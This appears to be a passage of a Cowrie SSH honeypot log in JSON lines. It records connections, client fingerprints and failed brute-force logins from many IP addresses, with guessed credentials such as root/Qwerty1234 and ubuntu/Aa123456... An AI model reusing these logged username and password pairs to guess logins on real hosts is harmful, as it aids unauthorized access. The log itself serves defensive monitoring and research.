{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:38:17.918584Z","src_ip":"87.226.190.225","session":"60df5a8ecdc9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:38:18.073362Z","src_ip":"87.226.190.225","session":"60df5a8ecdc9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"andrew","password":"123456","message":"login attempt [andrew/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:38:18.722217Z","src_ip":"87.226.190.225","session":"60df5a8ecdc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:38:19.879284Z","src_ip":"87.226.190.225","session":"60df5a8ecdc9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.147.144.172","src_port":33262,"dst_ip":"159.203.135.109","dst_port":22,"session":"a5130f3d97f9","protocol":"ssh","message":"New connection: 176.147.144.172:33262 (159.203.135.109:22) [session: a5130f3d97f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:38:26.984562Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:38:26.989710Z","src_ip":"176.147.144.172","session":"a5130f3d97f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:38:27.086604Z","src_ip":"176.147.144.172","session":"a5130f3d97f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa123456..","message":"login attempt [ubuntu/Aa123456..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:38:27.500857Z","src_ip":"176.147.144.172","session":"a5130f3d97f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:38:28.602098Z","src_ip":"176.147.144.172","session":"a5130f3d97f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.228.138","src_port":60780,"dst_ip":"159.203.135.109","dst_port":22,"session":"61ca9b04d935","protocol":"ssh","message":"New connection: 137.184.228.138:60780 (159.203.135.109:22) [session: 61ca9b04d935]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:38:39.580990Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:38:39.585734Z","src_ip":"137.184.228.138","session":"61ca9b04d935","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:38:39.663759Z","src_ip":"137.184.228.138","session":"61ca9b04d935","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.173","src_port":38852,"dst_ip":"10.17.0.5","dst_port":22,"session":"c4db205359e6","protocol":"ssh","message":"New connection: 165.154.5.173:38852 (10.17.0.5:22) [session: c4db205359e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:38:40.001258Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:38:40.006025Z","src_ip":"165.154.5.173","session":"c4db205359e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"production","password":"production@123","message":"login attempt [production/production@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:38:40.010504Z","src_ip":"137.184.228.138","session":"61ca9b04d935","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:38:40.213265Z","src_ip":"165.154.5.173","session":"c4db205359e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.181.156.205","src_port":57123,"dst_ip":"10.17.0.5","dst_port":22,"session":"a59d1db6270c","protocol":"ssh","message":"New connection: 41.181.156.205:57123 (10.17.0.5:22) [session: a59d1db6270c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:38:40.332091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:38:40.336845Z","src_ip":"41.181.156.205","session":"a59d1db6270c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:38:40.574744Z","src_ip":"41.181.156.205","session":"a59d1db6270c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.227.177.11","src_port":59656,"dst_ip":"10.17.0.5","dst_port":22,"session":"654941e2b866","protocol":"ssh","message":"New connection: 4.227.177.11:59656 (10.17.0.5:22) [session: 654941e2b866]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:38:40.627412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:38:40.632175Z","src_ip":"4.227.177.11","session":"654941e2b866","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:38:40.642517Z","src_ip":"4.227.177.11","session":"654941e2b866","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pokemon","password":"pokemon","message":"login attempt [pokemon/pokemon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:38:40.716106Z","src_ip":"4.227.177.11","session":"654941e2b866","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:38:41.074580Z","src_ip":"165.154.5.173","session":"c4db205359e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:38:41.090364Z","src_ip":"137.184.228.138","session":"61ca9b04d935","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty1234","message":"login attempt [root/Qwerty1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:38:41.557265Z","src_ip":"41.181.156.205","session":"a59d1db6270c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:38:41.728842Z","src_ip":"4.227.177.11","session":"654941e2b866","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:38:42.284255Z","src_ip":"165.154.5.173","session":"c4db205359e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:38:42.797942Z","src_ip":"41.181.156.205","session":"a59d1db6270c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.144.214.214","src_port":45447,"dst_ip":"10.17.0.5","dst_port":22,"session":"84c21ee1ec3e","protocol":"ssh","message":"New connection: 89.144.214.214:45447 (10.17.0.5:22) [session: 84c21ee1ec3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:39:06.481051Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:39:06.487095Z","src_ip":"89.144.214.214","session":"84c21ee1ec3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:39:06.641481Z","src_ip":"89.144.214.214","session":"84c21ee1ec3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:39:07.213818Z","src_ip":"89.144.214.214","session":"84c21ee1ec3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:39:08.354306Z","src_ip":"89.144.214.214","session":"84c21ee1ec3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":60302,"dst_ip":"159.203.135.109","dst_port":22,"session":"a9196c4c009a","protocol":"ssh","message":"New connection: 87.251.79.125:60302 (159.203.135.109:22) [session: a9196c4c009a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:39:12.762091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:39:12.767305Z","src_ip":"87.251.79.125","session":"a9196c4c009a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:39:12.853956Z","src_ip":"87.251.79.125","session":"a9196c4c009a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty1989","message":"login attempt [root/qwerty1989] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:39:13.123365Z","src_ip":"87.251.79.125","session":"a9196c4c009a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:39:14.198550Z","src_ip":"87.251.79.125","session":"a9196c4c009a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":41322,"dst_ip":"159.203.135.109","dst_port":22,"session":"5afac20e0258","protocol":"ssh","message":"New connection: 51.250.105.222:41322 (159.203.135.109:22) [session: 5afac20e0258]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:39:15.737724Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T09:39:15.744995Z","src_ip":"51.250.105.222","session":"5afac20e0258","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 